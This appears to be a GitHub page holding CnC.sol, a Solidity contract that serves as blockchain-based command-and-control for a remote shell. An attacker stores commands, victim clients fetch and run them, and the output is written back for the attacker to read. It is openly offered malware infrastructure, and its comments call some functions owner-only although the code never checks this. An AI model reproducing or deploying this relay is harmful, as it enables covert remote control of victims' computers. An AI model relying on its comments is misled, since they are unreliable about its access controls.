-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCnC.sol
More file actions
71 lines (61 loc) · 2.69 KB
/
Copy pathCnC.sol
File metadata and controls
71 lines (61 loc) · 2.69 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: UNLICENCED
// Name : CnC.sol
// Date : 5.3.2022
// Author : Shakedash
// Description : This contract will be the mediator between the RBCS_Server.py and RBCS_Client.py.
// It will save the commands and command's outputs and let both sides see them.
pragma solidity ^0.6.0;
contract Shell {
uint256 isCommandReady;
uint256 isOutputReady;
address owner;
string command = "";
string output = "";
// constractor() gets called when the contract deploys.
constructor() public {
owner = msg.sender;
isCommandReady = 1; // isCommandReady is true so the client will push his shell output first and then the attacker will be able to start sending commands.
isOutputReady = 0; // isOutputReady is false so the attacker wont be able to send commands before a victim connects.
}
// SetCommand() gets a string and put it in "command" variable, for the client to run.
// Also sets isCommandReady to true, isOutputReady to false and clear output var.
// SetCommand() can only be called by owner.
function SetCommand(string memory command_) public {
isOutputReady = 0;
output = "";
command = command_;
isCommandReady = 1;
}
// GetCommand() return the command requested (by the attacker) to the client.
function GetCommand() public view returns (string memory) {
return command;
}
// SetOutput() gets a string and puts it "output" variable.
// Also sets isOutputReady to true and isCommandReady to false.
function SetOutput(string memory output_) public {
isCommandReady = 0;
output = output_;
isOutputReady = 1;
}
// GetOutput() return the command output.
// GetOutput can only be called by owner.
function GetOutput() public view returns (string memory) {
return output;
}
// Reset() resets all of the variables so the shell can start to function properly (after a previous run of the program).
// Reset() can only be called by owner.
function Reset() public {
command = "";
output = "";
isCommandReady = 1; // isCommandReady is true so the client will push his shell output first and then the attacker will be able to start sending commands.
isOutputReady = 0; // isOutputReady is false so the attacker wont be able to send commands before a victim connects.
}
// GetisCommandReady returns isOutputReady.
function GetisCommandReady() public view returns (uint256) {
return isCommandReady;
}
// GetisOutputReady returns isOutputReady.
function GetisOutputReady() public view returns (uint256) {
return isOutputReady;
}
}